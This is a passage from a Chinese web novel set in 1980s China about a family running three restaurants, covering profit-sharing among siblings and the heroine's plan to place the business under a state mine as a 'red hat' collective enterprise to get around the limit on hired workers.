问话的人心动了,又确认一遍:“真有你说得这么好?” 张向党没耐心了:“随你信不信,去的人少更好,省得有人和我抢位子。” 他不说则已,一说这话,反而激得别人更想去了。 等到 了乌金年代,店里人声鼎沸,十几张桌子被坐了个满满当当,连插缝的空当都找不着。 来人站在门口犹豫,身边传来一道温和的声音。 “您是自己来用餐,还是和朋友一起来的?” 来人忙说:“就我,我自己。是不没地方坐了啊?要不我改天再来吧。” 服务员笑着说:“有位置,您跟我来。” 他带着客人向大厅另一侧走去,穿过青石般的月洞隔栏,来到一处独立的小厅。 这里错落有致地摆着桌椅,只有两人座或四人座;窗前是一张长桌,配了一排的高脚凳。 来人来得不算早,小厅里三三两两坐着人。 和隔壁熙熙攘攘的大厅相比,这里气氛格外闲适宁静,初冬阳光从窗外照了进来,让人忍不住全身心地放松下来。 “我就坐这儿吧。” 来人挑了张靠里面的高脚凳,捡起桌上的餐单,翻了翻,说:“给我上一盘烧羊肉,再来一碗菜饭,汤你看着上吧。” 服务员拿了点菜单子,走到忙得热火朝天的后厨,将单子交给贺明军。 贺明军看看菜单,转头冲里面喊了一句:“费师傅,您抓紧点儿,后面单子都快堆成山了。” 大冬天的,费立广满头是汗,累得呼哧带喘,断断续续地说: “你、你小子不地道,让我一老人家做全部的菜,你给、给我赶紧过来帮忙!” 费立广嘴贱,仗着自己年纪大,成天在嘴上占人便宜。 他还一身的臭毛病,在新中国想摆旧社会的款儿,不是指使这个给他泡茶,就是吩咐那个给他烧泡脚水,拿自己当奴工制的大师傅。 贺明军不惯着他,直接把做菜的活儿都推他头上——你不是话多吗?人闲嘴碎,忙起来就好了。 费立广想耍赖不干,贺明军就凉凉来一句“我看费家酒楼的传人也不过如此”。 气得费老头直咬后牙根,一肚子的话都吞回去,咬牙切齿地接着做菜。 “我、我还当你是个好的,没想到和你妹妹一、一丘之貉,一笔写、写不出两个贺字!” 贺明军只当没听到,转头冲服务员一乐。 “别理他,费师傅撒娇呢。” 费立广差点把刀砍自己手指头上。 撒、撒娇? 你说谁撒娇?! 服务员抿着嘴笑,真诚地附和道:“人老了就是容易敏感多情,你多哄哄他就好。” 费立广声嘶力竭地喊: “你、你们这帮、小、小兔崽子!” 贺明军对服务员说:“行了,平波,厨房有我呢,你去前面忙吧,对了,把这两盘菜送到大厅。” 服务员,也就是纪平波,稳稳接过了菜,说:“那我过去了。” 费立广:“……你们有没有听我说话?!” 贺明军敷衍地说:“行行行,我这就来帮你,老大不小了,怎么还要人哄,真是拿你没办法。” 费立广:…… 费立广:“老子一菜刀把你剁成肉馅!” 纪平波听到身后两人吵吵嚷嚷的声音,忍不住又笑起来。 他端着菜出来,正碰上徐和平。 “平波,等下你去把十二桌的账算一下。对了,新招的那个小姑娘你帮忙看着点儿,我看她还有点不熟练,得你帮一把手。” 徐和平说得理直气壮,丝毫没想到纪平波也才来不到一个月。 纪平波一一应允下来,将每件事都办得妥妥帖帖。 晚上饭店打烊,纪平波留到了最后,把饭店大门挂上锁后,和贺明军、徐和平一起骑车离开。 路上,贺明军问他:“平波,你家里怎么样,你爸还好吗?” 纪平波说:“家里挺好的,我爸的药续上了,明显整个人都看着精神多了。” 贺明军关怀道:“要是钱不够花你就说,我给你挪点儿,别紧着用,该花就花,甭跟我客气。” 纪平波笑着说:“放心,都是兄弟,我肯定不和你客气。这个月支的工资还没花完呢,我花完就来找你。” 徐和平扯着嗓子喊:“贺二,你为啥不给我提前支工资啊!我也没钱!要不你给我挪点儿吧!” 贺明军瞥他一眼:“还提前支工资?现在我都不想给你按月发了,穿得破破烂烂,家里也乱七八糟,你小子每个月工资都不知道花哪儿了。要按我妹的,就该给你来个强制储蓄。” 徐和平立刻收声,乖巧道: “别了别了,就按月发吧,我觉得现在挺好的,你别这么看我,我说真的……” 听着贺、徐二人斗嘴,纪平波忍不住露出一个发自内心的笑容。 真好,现在的日子真好。 三个人在道路分岔口告别,骑着车各回各家。 从有路灯的公路,到黑乎乎的小巷,纪平波推着车,熟练地避开路上横七竖八摆放的杂物,来到一扇破烂的木门前。 他的手伸进门洞,从里面将门栓打开。 “二子?是你吗?” 一道苍老的女声从低矮的屋里传来。 “妈,是我,我下班了。” 纪平波推车进院,反锁上门,将车靠在墙上,拎着挎包进屋。 “妈,你晚上吃了没?我带饭回来了。” 随着灯绳被拉动的一声响,灯泡缓慢地亮起,昏暗的光线微弱地照亮屋内景象。 土墙,泥地,瘸腿的老家具,脏兮兮的土炕,以及亮着橘红光芒的炕洞。 瘦小的老太太双手交握,头上裹着旧布巾,颠着一双小脚,从缺了把手的暖壶里倒出一杯热水。 “二子,你坐炕上,喝点水,暖和暖和。” 纪平波单手接过水,另一只手探了探躺在炕上老头的额头。 “我爸还烧吗?” 纪老太说:“不烧了,喝了药就睡下了。你上了一天班,洗洗脸也睡吧。” 纪平波把挎包里的饭盒递给纪老太,说:“这是给你们拿的,有肉有菜,对身体好。别给我留了,我在饭店有的吃。” 纪老太珍惜地接过饭盒,犹豫了片刻,还是开口说道: “你在饭店少吃点,别让东家嫌弃,咱们家这条件,你找个工作不容易,千万不能让人撵出来。” 纪平波温和地笑着说:“妈,别担心,明军儿是我兄弟,怎么可能撵我?放心吧,我现在挣工资了,能养活咱们全家。” 纪老太既放心又不放心。 “东家是东家,可不敢随便了……” 眼见纪老太又要开始老一套的说教,纪平波转移话题。 “妈,壶里还有水没?我想泡泡脚,今天站了一天,有点累。” 听到儿子的话,纪老太急忙颠着小脚去提茶壶。 “有,有,专门给你烧的热水,你等着,妈给你拿盆过来……” 纪平波悄悄松口气,等两只脚泡进滚烫热水里,他紧绷了一天的神经终于能放松下来。 另一边,贺家。 “二哥,你从哪儿找来的纪平波?他性子太好了,简直是全矿务局数一数二的好脾气。” 隔着一堵薄墙,听到贺明珠的话,贺明军躺在炕上,懒洋洋地说: “平波是我发小,打小的好脾气,从来不会生气。” 贺明珠奇道:“怎么会有人从来不生气呢?你看我脾气就很好,但我有时也会发火呀。” 听到贺明珠自夸脾气好,贺明军沉默了。 自家妹子要是算脾气好,那全乌城就没一个脾气差的人。 这丫头不是一点就炸的炮仗,而是蔫儿着坏,表面笑眯眯的,实际一肚子坏水。 徐和平是刺头吧,还不是被收拾得老老实实,每天兢兢业业地做他的服务员。 费立广算是难搞,照样被贺明珠从窝棚里揪出来,心甘情愿地留在三店里卖命。 就连他这个亲哥,也被她算计得抛下走私大业,一头扎进厨房出不来了。 但当着贺明珠的面儿,贺明军不能直说,免得被她记到小本本上。 “平波和你不一样,他家里困难,爹瘫痪,娘裹脚,兄姐不管事,这么多年磨下来,可不就得脾气好吗?” 过了一会儿,贺明珠的声音悠悠传来。 “我明白了,看来纪平波很可塑啊,我记下他了。” 贺明军:? 等等,什么叫很可塑?你记下他什么了? 不待贺明军问出口,贺明珠轻快地说: “关灯了,晚安二哥~” 贺明军朝黑暗的虚空伸出手。 什么晚安,你倒是把话说清楚啊! 第106章 第106章分红与七下八上 日子一天天地过,温度一天天地降,眼见就从初冬步入深冬。 滴水成冰,路上行人裹上了厚厚的棉袄,戴起了耳套围巾。 今年贺家挣了不少钱,还清了债,有了结余,不仅舍得吃,也开始舍得在穿上面花钱。 作为全家老小,贺小弟终于不用再穿哥哥们淘汰下来、打满了补丁的旧棉衣,而是穿上了絮着新棉花的袄子。 说起来这件棉袄还是齐家红给他扯了布做的,尺寸放的宽,明年长个子了也能穿。 贺小弟穿着新棉袄高兴得要跳起来,搂着齐家红的脖子,小脸蛋贴上去,一个劲儿的甜言蜜语,直说:“除了姐,我最喜欢大嫂了~” 贺明国故意问他:“那我呢?难道大嫂比大哥还好?” 贺小弟诚实地说:“是呀~ 他掰着指头数:“大嫂从来不骂我,也不打我,还接我上下学,陪我写作业。大哥天天都不在家,当然是大嫂最好了~” 既上班又上课、导致在家时间很短的贺明国:…… 他就多余问这话! 贺小弟甚至还天真地问贺明国:“大哥,我能不能和大嫂睡呀?你去和二哥睡好不好? 齐家红忍笑忍到脸红,顺着贺小弟的话去问贺明国: “我觉得行,要不你去和明军睡一屋吧。” 贺明军斩钉截铁:“不可能!这是我媳妇,有本事你自己娶一个去,天天 惦记我媳妇算什么事?” 这家里,一个贺明珠,一个贺明华,怎么成天都惦记他媳妇! 贺小弟遗憾叹气:“好吧,大哥,我听你的。不过等我娶了媳妇,一定不会像你这么小气~” 贺明军一个趔趄。 这小屁孩,他还展望上将来了! 齐家红在小学的工作不忙,趁着课间休息的时候,把旧毛衣拆出毛线,清洗干净后,重新给贺家每一个人都打了一件新毛衣。 第一个做好的是贺明珠,排在最后的是贺明国。 等全家人都穿上新毛衣了,贺明国的那件毛衣还是半成品的状态。 贺明国:…… 贺明国陷入沉思。 他这媳妇到底是给自己娶的,还是给全家娶的?怎么感觉就他没沾光啊? 当然,这只是贺明国的一点小抱怨。 在外人看来,贺明国简直生活不要太幸福,家里兄弟和睦,姑嫂相处如亲姐妹,一家子牟足了劲儿要过上好日子。 贺家的日子过得也确实是越来越好。 短短一年时间,贺明珠就在一矿、分矿以及矿务局开了三家饭店。 三家饭店的每月营收颇高,在扣掉所有相关成本后,净利润过万,可以说一个月就能赚出一个万元户的家产。 不过由于两家新店开业耗费不少,每开一次新店,就将之前存折上的钱一扫而光,重新开始积累。 截止目前,贺明珠手上可动用资金不算多,只有两万多。 不过贺明珠不是个小气的人,手上有了余钱,立刻花高价找人买了张电视票,又排队等了几个月,终于买到一台十四寸的金星牌彩色电视机。 这台彩色电视机是价格是一千多块钱,比黑白电视机贵了一倍。 电视机搬回家的那天,整条巷子里都能听到贺小弟兴奋的尖叫声。 “我们家有电视啦!以后你们都来我家看电视!” 他这一嗓门把半个家属区的小孩都吆喝了过来。 一群小萝卜头围在电视机前,痴迷地从天亮看到天黑,直到电视屏幕上出现雪花,才依依不舍地离开。 贺家成了小孩乐园,一天两天还好说,时间长了,连家里那条人来疯的小狗都受不了,见了小孩撒丫子就逃。 但邻里邻居的,也不好意思直白地撵这帮人小屁股沉的小家伙。 齐家红想了个主意,她本就是老师,对着一屋子的小孩熟练地摆起老师威严。 “作业都写了吗?课文都会背了吗?过来让我检查,检查合格的才能看电视,不合格我要找你家长了。” 这一招吓跑了绝大多数小孩子,太恐怖了,怎么看个电视还要查背诵? 贺小弟期期艾艾凑上前。 “大嫂,老师没教我背课文,我能不能看电视呀?” 齐家红铁面无私。 “那你就背九九乘法表吧。” 贺小弟哭丧着脸去找课本背诵,贺家的新电视机终于能关机休息一会儿了。 除了电视机,贺明珠还托王东文在上海出差时,替她买了三块上海牌全钢手表。 连着买手表票的钱加起来,三块表花了五百多块,分别送给贺明军、贺明国、齐家红。 贺明国收到手表后,一边心疼钱,一边忍不住将表带在手上看了又看,脸上的笑止都止不住。 贺明军要将表让给贺明珠,直说他天天在后厨待着,一双手过水又过火,要是戴着这么好的表,没两天就得磕坏了。 贺明珠给他出主意:“要不你戴脚腕上?” 贺明军:…… 瞧瞧,这就是亲妹妹说出的话,这损色,什么德行啊~ 他最后将手表放在贴身的衬衣口袋里,配了根细链子,拿手表当怀表使,要看时间的时候,就顺着链子将手表扯出来。 费立广问他怎么把手表放衬衣口袋,贺明军答非所问: “我亲妹妹买了送我的,上海牌手表,周总理戴的就是这个牌子。羡慕吧?” 费立广:……我问你这了吗?! 见家里大人都有礼物,贺小弟急得直蹦跶,直问:“姐,姐,我的呢?” 贺明珠变魔术似的从口袋掏出一捧大白兔奶糖。 贺小弟眼睛亮了,与此同时,口水也分泌了出来。 “嘿嘿,嘿嘿,有奶糖吃了~” 齐家红把贺明珠拉进小屋,从炕柜的底层掏出一个小布包。 打开来看,布包里面是贺明国和齐家红这这几个月攒下的工资。 “你这孩子,你挣点钱不容易,又是买电视机,又是买手表,怎么能花这么多钱呢?快拿上,我和你大哥都是有工作、挣工资的,不能花你的钱。” 贺明珠反手将布包塞到齐家红手中。 “大嫂,我们是一家人,当初你和大哥下班就来店里帮忙的时候,从没说一句辛苦。现在我有余力了,当然要对自家人好一点。” 齐家红拿着布包,像是拿着烫手山芋,怎么也不肯收回去。 从来没见过大嫂这样上赶着非要送钱的人,贺明珠不由得失笑,用更加温和的语气说: “大嫂,我们没分家,挣多挣少都是全家一起花。你没嫌我和二哥不往家里交钱,也没嫌要把小弟养到大,你都不怕自己吃亏,就别担心我啦~” 贺明珠的话反而提醒了齐家红。 “可现在咱们家不就你挣得最多吗?要是这么算的话,那我和你大哥岂不是占了你的便宜?不行,我得找你大哥说说,不能干这事儿!” 贺明珠:啊?啊?啊? 等等,她本意不是这个啊—— 贺明国和齐家红的想法一样,宁肯自己吃亏,也不能让妹妹受委屈。 周六上午,他把还在睡梦中的贺明军叫起来,有重要的事要宣布。 前一天在饭店忙到十一点多才回家,贺明军困得睁不开眼,含糊地说: “老大,你就算是要反清复明,也让我睡够了行不行……” 贺明国严肃地说:“我要分家。” 贺明军这下清醒了。 一家人围坐在桌前,给贺小弟搬了把椅子,让他也参与家庭会议。 看了一圈众人,贺明国率先开口: “现在明珠和明军忙饭店生意,我和你们大嫂上班挣工资,各人都有收入,不能再将钱混着用了。” 顶着鸡窝头的贺明军狐疑地问:“老大,你想干嘛?我告诉你,咱爹妈可都看着你呢。” 贺明珠拉了一把贺明军,不让他再说下去。 贺明军不解地看向贺明珠。 贺明珠默默侧过头。 怎么说呢,现在这个情况,她也很难向二哥解释呀…… 贺明国格外认真地说:“就是因为爹妈都看着,所以才不能再这么混下去了。” “咱们家现在属你和小妹挣得多,要是不分家、混着用就是占你们的便宜,我良心上过不去,钱上的事必须说清楚!” 听到贺明国的话,贺明军有点尴尬地摸摸鼻子。 呃,看来是他想错了…… 贺明国说得很清楚,显然这些话在他心里已经想很久了。 “家里的屋子暂时先这么住,等将来我们单位分房子了,我就和你们大嫂搬出去,老房子留给你们三个平分。” “小弟还小,我和你们大嫂养着他,从上学到结婚,都由我来管,不用你们俩多操心,逢年过节给他包个红包就行了。” 齐家红补了一句:“既然爸妈的工作都被我们接了,小弟就该是我们的责任,你们都别抢。” 贺明军却不干。 “那不成,小弟也是我亲弟弟,他的事也有我的一份,老大,可你别想撇开我。” 贺明国不和他争这个:“那是你的心意,我管不着,但你没结婚,小弟肯定是要跟着我们过。” 处于争夺中心的贺小弟听不懂,懵懂地问: “啥意思呀?那我以后能和大嫂睡一间屋吗?” 贺明国呼噜一把他毛茸茸的 小脑袋。 “你小子,就知道惦记我媳妇。赶紧长大吧,以后大哥给你娶媳妇。” 说完老房子的分配和贺小弟的抚养问题,终于步入最重要的部分。 贺明国说:“明珠,明军,以后你们挣的钱都归你们自己,家里一分都不要。我和你们大嫂都有工作,每月挣着工资,不缺你们的这点钱。” 贺明军却不同意:“你那点工资才几个钱,要你来当老大、充大款啊。” 贺明国忽然笑了:“我不就是家里老大吗?” 贺明军一时语塞。 糟糕,他还真是排行老大来着。 一直没说话的贺明珠此时开了口: “大哥,大嫂,二哥,我有话要说。” 几个人都向她看过来。 贺明珠说:“当初家里欠债,里里外外全靠大哥一人撑起,他的工资全用来养家,一分都没花在自己身上,衣服是补丁最多的,吃的是最差的,硬生生把爸妈刚走、最难的那段时间熬了过去。” 没想到贺明珠会说起这,贺明国清清嗓子:“这不算什么……” 齐家红拍拍他的手,示意听贺明珠说下去。 贺明珠接着说:“二哥一个人去了广东,走私扛包,晒得全身皮肤脱了一层又一层,现在还留着晒伤的疤痕,肩膀手指都是茧子,却每个月都要给家里寄钱回来。等他回家时,整个人都瘦脱了相,还扛着麻袋,活脱脱一个捡破烂的乞丐,我差点没认出来。” 贺明军单手捂脸,露出来的耳朵红到爆炸,闷声闷气地说: “行了行了,别说了,你这个小丫头怎么记性这么好,什么都要记得……” 贺明珠安静地说:“我记得,我都记得。” 她会记得大哥因为长年累月在井下工作,患上矽肺后那沉闷痛苦的喘息声;她也会记得二哥从大飞上跌入海中,被吞噬了生命,回家时只剩下一个小坛子。 上天给了她一次重来的机会,就是让她不要忘记。 不要忘了她来时的渴求。 贺明珠说:“我摆地摊,大哥在大冬天用冷水帮我洗土豆;我开饭店,二哥开开心心来做白工,从没想过回报。店里忙不过来的时候,大嫂下了班就到后厨洗碗洗菜,一双手洗得浮肿。” 听到还有自己的事,齐家红羞得不让她说: “别说了,我啥也没做,就洗洗碗,你把我说得太好了。” 贺明珠温柔地握住齐家红的手。 “大嫂,如果不是你包揽了家中全部琐事,稳住了贺家的大后方,就算我再有冲劲,也无法使出十分力。” “大嫂,我真的,真的,很感激你。” 从来没有人这样温柔地对齐家红说过话。 “谢谢你,大嫂,谢谢你的付出。” 从来没有人因为微不足道的家务,而对齐家红说一句“谢谢”。 齐家红的眼圈一下就红了。 她反手握住贺明珠的手,手指在颤抖,就像她的声音。 “我才要谢谢你们,我家里是那个样子,说起来我都抬不起头,但你们还肯接纳我,认我这个大嫂,把我当作你们的亲人一样看待……” 说着说着,齐家红已经泣不成声。 不堪的娘家带给齐家红太多的屈辱,让她从心底深处觉得自己不配拥有现在的幸福,自卑畏惧,时刻战战兢兢,总担心现在的生活是过眼云烟。 可贺家居然毫无芥蒂地接受了她。 每一声“大嫂”,每一句“我媳妇”,像是甜蜜的丝线,牢牢捆住了她的心。 时至今日,除了这间老房子,她不知道还有哪里是她的家。 贺明国的声音有些哑:“明珠,我们是一家人。” 所以,为了家人所做的一切事,都是理所应当。 不需要感激,也不需要谢谢。 因为他们是一家人。 贺明珠慢慢露出一个笑。 “是,我们是一家人,所以我决定了,饭店的一成利润归你和大嫂,三成利润归二哥。” 闻声,贺明国和齐家红、贺明军都愣住了。 贺明军反应快,马上就说:“我不要,你别给我,我拿工资就行。” 贺明珠很坚持:“你答不答应是你的事,给不给是我的事,总之我已经决定了。” 贺明国本来是想把钱上的事说清楚,以后不会占妹妹便宜,没想到占的反而更多了。 “不行!饭店的生意是你一手操办起来的,多少利润都该是你的!” 齐家红也连声道:“我们不能拿。” 贺明珠一推椅子站起来,挑眉道: “都说我已经决定了,反对通通无效哦~” 关于饭店利润分配的事,贺明珠早就在心里想了许多回,如今这个方案是她觉得最适合的。 原本是想分股份,但考虑到饭店经营权不能太分散,否则会给将来发展埋下祸根。 而且几家饭店有太过鲜明的贺明珠的个人特色,从菜色到人员,可以说整个店都盖着贺明珠的戳,除了贺明珠,没人能百分百掌控某家店。 在贺家人里,贺明国和齐家红都是温和厚道的人,习惯了一板一眼的上班,并不适合做生意; 而贺明军虽然脑子灵活,有干劲,有拼劲,但囿于经验不足,作为一块原石,还需要继续在商海打磨。 因此,将经营权与分红权拆分,只将对应股份的利润分给贺家人是最合适的。 他们不需要插手饭店管理,就可以得到丰厚红利。 贺明珠不是小家子气的人,做不到自己吃肉,家人吃糠。 在她心中,如果一家人的生活条件被拉开天堑,即使再亲密无间的感情,终将会在现实的折磨下损耗殆尽。 她不想贺家人变成只在逢年过节时出现、表面亲热的亲戚。 钱是赚不完的,家人才是最珍贵的宝物。 至于贺小弟,他还太小,等将来长大了再说吧。 尽管贺家人都不同意贺明珠的分红方案,贺明珠还是以三人名义开了户头,并将首个月的利润分别打进几张存折里。 存折塞过去,贺明国难得虎起了脸。 “你要是还拿我当大哥,就把钱都收回去!” 贺明珠只当没听到,扔下存折就跑了。 贺明军比他狡猾,反手把存折塞回贺明珠手中。 “我要分红干嘛,不缺吃不缺穿的。再说了,这钱放在存折里只能慢慢攒利息,不如你替我先拿着,不管是开分店还是干什么别的,用报纸上的话来说就是‘投入再生产’,等满一年了再说吧。” 贺明珠一听他说的有道理,也不客气,收起了存折。 “行,放我这儿零存整取吧,明年给你整个大的。” 贺明军笑:“我要那么多钱干嘛,现在这样就是最好了。” 有家人,有哥们,还有每天一边斗嘴、一边偷师的老师傅,前路看起来阳光明媚,充满希望。 现在就是他人生中最幸福的时候。 除了分红的事,贺明珠还琢磨了 另外一件重要事情。 按现在的政策来说,她好像在不知不觉间踩到红线了…… 这年头有个词叫“七下八上”,通俗来说就是,雇工数量不能超过八个人。 为什么要将雇工数量限制在八个人呢? 因为伟大的马克思爷爷在他大名鼎鼎的著作《资本论》里有一句话:“雇工到了八个就不是普通的个体经济,而是资本主义,是剥削。” 虽然这本书是十九世纪写的,距今已有一百多年,但作为社会主义神作,书中内容至今依旧被奉为至理名言。 因此,尽管已经改革开放了,但雇工数量不能超过八个人如同钢印般牢牢刻在人们的认知中。 贺明珠掰着指头一数,坏了,她开的三家饭店的雇员加起来,好像已经远超八个人的限制了…… 最早的一矿店里,雇着厨师冯解放,服务员田润花,以及一位负责洗碗洗菜的大婶; 开在分矿的二店,雇着厨师曹全安,服务员郝翠兰、齐小弟,以及郝大婶; 新开三店的雇工人数就更多了,包括厨师费立广,服务员徐和平、纪平波,以及洗碗工。 就这,没把一店、二店招的学徒以及处于试用期的员工算进去,也没算上贺明军,就已经十一个人了…… 贺明珠苦恼地想,她也没大肆招人啊,已经在最大限度地发挥所有人力资源,怎么不知不觉就雇佣了这么多人呢…… 幸好由于三个店的位置分散,从表面上看,每家店的雇工数量都没超过八个人,因此,一时间还没有人注意到这个问题。 而且三店的名字是“乌金年代”,不是特别熟悉贺明珠的人,很难将其与“煤矿人家”联系起来。 但随着饭店的扩张以及知名度的提升,迟早有一天,这个问题会曝光出来。 到时候老古董们拿着《资本论》来审判—— 好啊你,居然敢违反“七下八上”的规定,你这是复辟资本主义,剥削社会主义人民! 再来个没收饭店、收归国有,那贺明珠就哭去吧。 尽管在几年之后,这条荒谬的“七下八上”的规定就会被废止,国家也不会再限制私营企业的雇工数量。 但现在,贺明珠可不想成为时代局限性的牺牲品啊…… 贺明珠琢磨了又琢磨,将自己对前世政策发展的了解,以及这段时间开店以来所听闻的各色小道消息,想出了一个解决办法。 就是这个办法,可能会在未来引发新的危机…… 甘蔗没有两头甜,总要先缓解迫在眉睫的重大危机,不然就谈不上“未来”二字。 至于以后,兵来将挡水来土掩,人生不就是逆水而行,完成一个接一个的新挑战吗? 一矿办公楼。 对着久未见面的贺明珠,张副矿长有些惊讶地说: “什么,你想办一家‘红帽子’企业?” 第107章 第107章戴一顶红帽子 “但‘红帽子’企业是什么?” 张副矿长真诚而疑惑地问道。 贺明珠:“呃……” 她准备的一肚子关于设立红帽子企业的论点论据,被张副矿长这一句话,全堵了回去。 见张副矿长不像是在开玩笑的样子,贺明珠脑子一转,就想明白了。 这年头关于“红帽子企业”的说法没有流行开来,人们更习惯使用“挂靠”二字。 也就是说,将私营企业挂在公有制企业或单位的名下,注册一张集体营业执照,以集体企业的名义对外经营,以规避私营企业所面临的一些歧视性政策。 这种名为公有实为私营的企业,被称为“红帽子”企业。 如果三家饭店能够成为挂靠在一矿名下,贺明珠不仅不用担心雇工人数的问题,而且可以向银行贷款,解决现阶段饭店规模扩张的资金问题;还可以集体企业的身份,招聘大中专学历的毕业生。 此外,饭店也能适用税收上的优惠政策,不用再缴纳工商管理费,以及一些针对个体户、杂七杂八的税和费。 贺明珠向张副矿长简单解释一番,张副矿长很快就明白她的意思。 “原来你是想把饭店挂靠在一矿名下?” 张副矿长犹豫了:“这事有点难办啊……” 见张副矿长似有推拒之意,贺明珠抛出挂靠的条件: “如果可以挂靠的话,我愿意每年给矿上交一万块的挂靠费。” 在1983年,一万块并不算一笔小钱,一个煤矿工人一年的工资收入也不超过一千五百块钱。 对于普通家庭来说,一万块是需要十年积攒的巨款。 贺明珠之所以一开口就提出每年一万块的挂靠费,就是希望看在钱的份上,能够顺利办成挂靠。 可听了贺明珠的话,张副矿长却哂笑道: “一万块算什么?要是让你们家饭店戴上这顶‘红帽子’,那我才有大麻烦呢。” 贺明珠在来之前已经有心理准备,对张副矿长的话并不感到意外。 “张矿长,您是有什么顾虑,方便告诉我吗?毕竟我们合作也有一年了,关于我的人品和能力,我相信您都看在眼中,对我的诚意也很有了解。而且挂靠并不是什么新鲜事物,据我所知,矿务局已经有不少厂矿允许个体户挂靠,每年管理费从三千到五千不等。对于一矿来说,挂靠也是一件双赢的事,可以每年获得稳定收益,且不会造成什么负面影响。” 贺明珠说得有条有理,从她作为合作伙伴的可靠性,到矿务局企业挂靠情形的普遍性,再到挂靠对一矿的好处,寥寥数语就说得清楚,很有信服力。 听了贺明珠的话,张副矿长眼中精光一闪。 “既然这样,那我就实话实说了。” 贺明珠作洗耳恭听状。 张副矿长说:“其他厂矿挂靠的企业,在挂靠之前没名气,挂了也就挂了,没人会注意;可你们饭店不一样,在矿务局,乃至乌城,名声太大了。要是一矿单为你们开一家新公司,这就太扎眼了。” 贺明珠没想到,原来煤矿人家的名声居然会成为挂靠的绊脚石。 她问道:“那有没有其他办法可以让饭店挂靠呢?” 张副矿长喝了一口茶,放下茶杯,慢条斯理地说: “挂靠的事先不提,你知不知道,一矿已经决定将三产的房子收回了。” 这一消息如同晴天霹雳般,径直劈在贺明珠的脑门上。 贺明珠惊诧一瞬,立刻追问道: “为什么矿上不租了?难道是有人想收回房子,以矿上的名义开饭店吗?” 张副矿长赞许地看了她一眼。 “你猜的不错,巩副矿长在矿领导班子会议上提出目前三产房子的租金太低,矿上应该将房子收回,重新开办饭店。” 汪副矿长被纪|委带走后一去不复返,巩副矿长接任他的位置,成为了一矿新的副矿长。 对于这个消息,贺明珠并不是特别意外。 煤矿人家的生意太火爆了,每天有大量客人进进出出,而店内菜单又是明码标价。 有心人看在眼里,记录一下大概人流量,再乘以估算的人均消费单价,就能得出一店的每日营收。 对于一家单月营收超一万块的小饭馆,每月五十块钱的租金简直低到可以忽略不计。 毕竟在后世,昂贵的房租能占掉饭店25%以上的成本费用。 巩副矿长的理由非常正当,现在饭店支付的房租实在太低了,对一矿来说非常不划算。而且与其将房子租给个体户,不如一矿收回来开店,就算生意差一点,也是肉烂在锅里。 更何况,现在矿工已经习惯去三产房子吃饭,生意也不一定会变差。 这个理由太有说服力了,迅速在领导班子内达成了共识。 贺明珠早就猜到有人会眼红一店的生意红火,但没想到,事情会发生得如此突然。 她脑中迅速思考,是主动提高租金、说服一矿继续出租房屋;还是放弃三产房子,在附近民居另寻他处开店 呢? 这个问题有些两难,不论是选择哪一个,都显然会对目前一店的兴旺发展的势头造成打击。 贺明珠陷入了两难抉择。 而张副矿长不说话,只慢悠悠地喝着茶。 贺明珠注意到张副矿长这副模样,忽然心中一动。 “张矿长,关于三产房子的出租问题,您是怎么考虑的呢?有什么解决办法吗?” 贺明珠突然开口,将问题抛给了张副矿长。 毕竟在租房这件事上,除了开店的贺明珠,就数张副矿长受益最多了。 他拿着饭店的干股,每月分红超过千元,不用参与饭店管理,也不承担任何风险,纯受益。 如果饭店无法继续租赁三产房子、被迫离开一矿,那么张副矿长没有了作为靠山的价值,这份干股当然就要收回了。 虽然张向党和贺家人关系不错,但交情归交情,生意归生意。 倒不是说要和张向党断交,而是以后大家只是纯友谊的关系,不掺一点利益。 听到贺明珠的问题,张副矿长明显愣了一下,慢了一拍才回应道: “这是你应该考虑的。” 不出所料,这个老狐狸只想坐享其成,根本不想出一点力。 贺明珠露出苦恼的神色。 “如果矿上坚决要收回房子,那我也没办法呀,只能等租期结束,把房子还给矿上了。” 听到这话,张副矿长语气略急地追问: “那可是你从头开起来的饭店啊。” 贺明珠恰到好处地露出一丝伤感和坚强。 “我对一店也很有感情,但没办法,胳膊拧不过大腿,一矿如果一定要收回房子,我们也只能退房关店,将来再去其他地方,重新找房子开店吧。” 说罢,贺明珠站起身,礼节性地冲张副矿长点点头。 “今天打扰您了,挂靠的事先算了,我回去理一理,争取在租期结束时,把房子还给矿上。” 见贺明珠要走,张副矿长反而急了。 “等等,你先别走!” 他本来想借着租房和挂靠的事拿捏一把贺明珠,再从她身上榨出点儿好处。 对张副矿长而言,现在一店的干股分红已经不能完全满足他了,他想要贺家全部饭店的分红,以及更高比例的分红。 但没想到,贺明珠不接茬,摆出一副一拍两散的架势,这反倒让张副矿长感觉棘手。 “你回来,坐下,年轻人怎么能轻言放弃?” 贺明珠没坐。 “张矿长,您是好意,可毕竟现在巩副矿长新官上任三把火,您没办法,我也不想为难您。” 贺明珠说得诚恳,张副矿长却听得脸都绿了。 什么叫“新官上任三把火”?什么叫“你没办法”? 这意思不就是他还比不上巩副矿长吗?! 贺明珠唉声叹气地说: “不行我就去求一求巩副矿长,毕竟对于一矿来说,我们饭店没有功劳也有苦劳,再怎么说,耗子饭店的名声是我们洗清的,如今店里的客流量也是我们吸引来的,就这么过河拆桥,实在令人心寒。” 随着贺明珠的话,张副矿长的脸色越来越绿,绿到发黑。 这不是明晃晃的打脸吗?! 难不成小丫头片子还想改换门庭、投奔巩副矿长不成?! 眼见摇钱树有飞走的倾向,张副矿长当机立断地说: “你急什么,谁说我没办法解决这事?你先坐下,听我说!” 终于逼出老狐狸的这句话了! 贺明珠在心里偷笑,脸上还是一副垂头丧气的模样,不情不愿地坐在了椅子上。 张副矿长的主意很简单,就是改合同。 原本租房合同上写着“租期一年”,在“一”处上下各加一横,改成“三”,就变成了“租期三年”。 他还教贺明珠:“要是矿上来收房子,你就说租了三年,不到期不退房;要是强行让你腾房子,你坚决不能腾,到时候把你两个哥哥、还有店里的男员工都叫出来撑场面,看他们谁敢上来。” 这不就是耍赖吗? 贺明珠斜眼看向张副矿长,脸上表情很古怪。 张副矿长问道:“怎么了?” 贺明珠挤出一句话:“既然要改,为什么不改成‘十’?这不是更简单吗?” 张副矿长还真的思考了。 “十年有些假了,三年就刚刚好,要不五年也行。先拖一拖,拖着拖着这事儿就这么着了。” 他很有经验,深知国企遇事多是大事化小小事化了,暂时化不了的就拖一拖,时间一长,就没人再提起来了。 以后这就叫“历史遗留问题”,棘手又麻烦,没人乐意处理。 贺明珠:……她就知道! 一个中老年官僚,能指望他想出什么惊天动地的好主意吗? 贺明珠说:“张矿长,我倒是有其他的办法,不如您听我说一说?” 当张副矿长与贺明珠商议一店面临的问题时,另一边,巩副矿长已经为接手三产饭店做起了准备。 